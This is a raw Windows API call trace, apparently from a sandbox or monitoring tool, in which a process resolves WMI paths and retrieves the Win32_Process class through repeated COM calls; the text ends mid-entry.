WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54ce0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf54ce0) returned 0x0 [0066.574] WbemLocator:IUnknown:Release (This=0x1bf54ce0) returned 0x2 [0066.574] SysStringLen (param_1=0x0) returned 0x0 [0066.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0066.574] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0066.574] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.574] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0066.574] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0066.575] IWbemServices:GetObject (in: This=0x1bf54ce0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bf449a0, ppCallResult=0x0) returned 0x0 [0066.579] IWbemClassObject:Get (in: This=0x1bf449a0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0066.579] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0066.579] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0066.579] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0066.579] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0066.579] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0066.579] IUnknown:Release (This=0x111f638) returned 0x1 [0066.583] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bef84a0) returned 0x0 [0066.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef84a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0066.583] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef84a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3ae00) returned 0x0 [0066.584] WbemDefPath:IUnknown:Release (This=0x1bef84a0) returned 0x0 [0066.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3ae00) returned 0x0 [0066.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0066.585] WbemDefPath:IUnknown:AddRef (This=0x1bf3ae00) returned 0x3 [0066.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0066.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0066.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bef84c0) returned 0x0 [0066.585] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef84c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.586] WbemDefPath:IUnknown:Release (This=0x1bef84c0) returned 0x3 [0066.586] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0066.586] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0066.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0066.586] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x2 [0066.586] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x1 [0066.586] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0066.586] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0066.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ae00, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3ae00) returned 0x0 [0066.587] WbemDefPath:IUnknown:AddRef (This=0x1bf3ae00) returned 0x3 [0066.587] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x2 [0066.587] WbemDefPath:IWbemPath:SetText (This=0x1bf3ae00, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0066.587] IWbemClassObject:Get (in: This=0x1bf449a0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0066.587] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0066.587] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0066.587] IWbemClassObject:Get (in: This=0x1bf449a0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0066.587] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0066.588] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0066.588] IWbemClassObject:Get (in: This=0x1bf449a0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0066.588] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0066.588] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0066.588] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0066.588] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0066.589] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0066.589] IUnknown:Release (This=0x111f638) returned 0x1 [0066.591] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8280) returned 0x0 [0066.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8280, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0066.591] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8280, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3ac80) returned 0x0 [0066.591] WbemDefPath:IUnknown:Release (This=0x1bef8280) returned 0x0 [0066.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3ac80) returned 0x0 [0066.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0066.592] WbemDefPath:IUnknown:AddRef (This=0x1bf3ac80) returned 0x3 [0066.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0066.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0066.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef81e0) returned 0x0 [0066.592] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef81e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.592] WbemDefPath:IUnknown:Release (This=0x1bef81e0) returned 0x3 [0066.592] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0066.592] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0066.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0066.593] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x2 [0066.593] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x1 [0066.593] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0066.593] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0066.593] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3ac80) returned 0x0 [0066.593] WbemDefPath:IUnknown:AddRef (This=0x1bf3ac80) returned 0x3 [0066.593] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x2 [0066.593] WbemDefPath:IWbemPath:SetText (This=0x1bf3ac80, uMode=0x4, pszPath="") returned 0x0 [0066.593] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0066.593] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0066.593] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0066.593] IUnknown:Release (This=0x111f638) returned 0x1 [0066.596] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8280) returned 0x0 [0066.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8280, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0066.596] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8280, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3abc0) returned 0x0 [0066.596] WbemDefPath:IUnknown:Release (This=0x1bef8280) returned 0x0 [0066.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3abc0) returned 0x0 [0066.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0066.596] WbemDefPath:IUnknown:AddRef (This=0x1bf3abc0) returned 0x3 [0066.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0066.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0066.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef8220) returned 0x0 [0066.597] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8220, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.597] WbemDefPath:IUnknown:Release (This=0x1bef8220) returned 0x3 [0066.597] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0066.597] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0066.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0066.597] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x2 [0066.597] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x1 [0066.597] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0066.597] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0066.597] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3abc0) returned 0x0 [0066.597] WbemDefPath:IUnknown:AddRef (This=0x1bf3abc0) returned 0x3 [0066.597] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x2 [0066.597] WbemDefPath:IWbemPath:SetText (This=0x1bf3abc0, uMode=0x4, pszPath="") returned 0x0 [0066.597] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0066.598] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ac80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0066.598] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3abc0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0066.598] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3abc0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0066.598] WbemDefPath:IWbemPath:SetServer (This=0x1bf3abc0, Name="Q9IATRKPRH") returned 0x0 [0066.598] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0066.598] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0066.598] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0066.598] IUnknown:Release (This=0x111f638) returned 0x1 [0066.600] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bef8240) returned 0x0 [0066.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8240, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0066.600] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8240, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3ab00) returned 0x0 [0066.600] WbemDefPath:IUnknown:Release (This=0x1bef8240) returned 0x0 [0066.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 